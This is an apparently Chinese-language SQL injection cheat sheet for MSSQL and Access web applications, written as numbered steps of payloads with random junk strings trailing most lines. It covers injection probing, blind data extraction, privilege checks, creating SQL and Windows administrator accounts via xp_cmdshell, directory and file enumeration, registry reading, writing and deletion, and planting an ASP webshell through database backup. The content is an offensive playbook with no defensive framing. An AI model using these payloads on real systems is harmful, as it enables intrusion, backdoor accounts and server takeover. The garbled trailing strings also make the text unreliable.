1.判断是否有注入;and 1=1 ;and 1=2 J~#;<e{\"
2.初步判断是否是mssql ;and user>0 dd]/.Z
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3.注入参数是字符'and [查询条件] and ''=' P*cNh43U
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,?L2wl[
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5.判断数据库系统 V0)fZS@tf
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;and (select count(*) from sysobjects)>0 mssql s8}@=]aA
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;and (select count(*) from msysobjects)>0 access uDEvzk42
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 k+ze74_"
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 R~Ne|V2
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 fl\ly`_
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9.(1)猜字段的ascii值(access) TA{\PKA)
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5H ue7'LS
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(2)猜字段的ascii值(mssql) >Q(3*d >
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 )b:7-}d
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10.测试权限结构(mssql) KQ~i<1&j
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- h=:Q-?n-
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- m}X`> aD/
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- sQ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- p>upA)W]
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- oZAB _A)[-
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~m$Y$,uH
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;and 1=(select IS_MEMBER('db_owner'));-- 7R`mf
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11.添加mssql和系统的帐户 9<>wIl*T`
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;exec master.dbo.sp_addlogin username;-- 4y+< dw
;exec master.dbo.sp_password null,username,password;-- uH(f$A
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- w/kt3Lw
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;exec master.dbo.xp_cmdshell 'net user username password `I3r3WyA
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- fP.
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- vMm1Z5S/
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- v+X)Qmzf~
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12.(1)遍历目录 aL&n[
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;create table dirs(paths varchar(100), id int) dzDqZQY$
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;insert dirs exec master.dbo.xp_dirtree 'c:\' pNKhc#-w
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;and (select top 1 paths from dirs)>0 MZT23[+
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;u>DNG|.
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(2)遍历目录 ])nPPf
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- rl#p".4q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 BBtzs^C|
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ]{ntt}3G,
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Uk6HQQ
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 LyAn&h}
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13.mssql中的存储过程 0Nnsjh
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xp_regenumvalues 注册表根键, 子键 lLF-{
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `0Oh_8"
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xp_regread 根键,子键,键值名 n:{qC{D-qS
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 _t^{a]/H
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xp_regwrite 根键,子键, 值名, 值类型, 值
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ]hFW73FV
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 LdL/399<
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xp_regdeletevalue 根键,子键,值名 H*$jc\
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 6jC`8l:
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Aj+2;]M
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14.mssql的backup创建webshell @T'i/}nl
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use model RT.D"WvT
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create table cmd(str image); "O%gFye
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insert into cmd(str) values (''); !BOY@$Y
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backup database model to disk='c:\l.asp'; Fd[zDz
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15.mssql内置函数 {l/-LZ.
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;and (select @@version)>0 获得Windows的版本号 7Z-O_h3;)@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2C9V|[U,
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;and (select user_name())>0 爆当前系统的连接用户 {;:/-0s
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;and (select db_name())>0 得到当前连接的数据库 Wb?8j M
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16.简洁的webshell 4DL) rkO
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use model rU2%dkTa
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create table cmd(str image); ck.w
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insert into cmd(str) values (''); (K)] qNH
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backup database model to disk='g:\wwwtest\l.asp';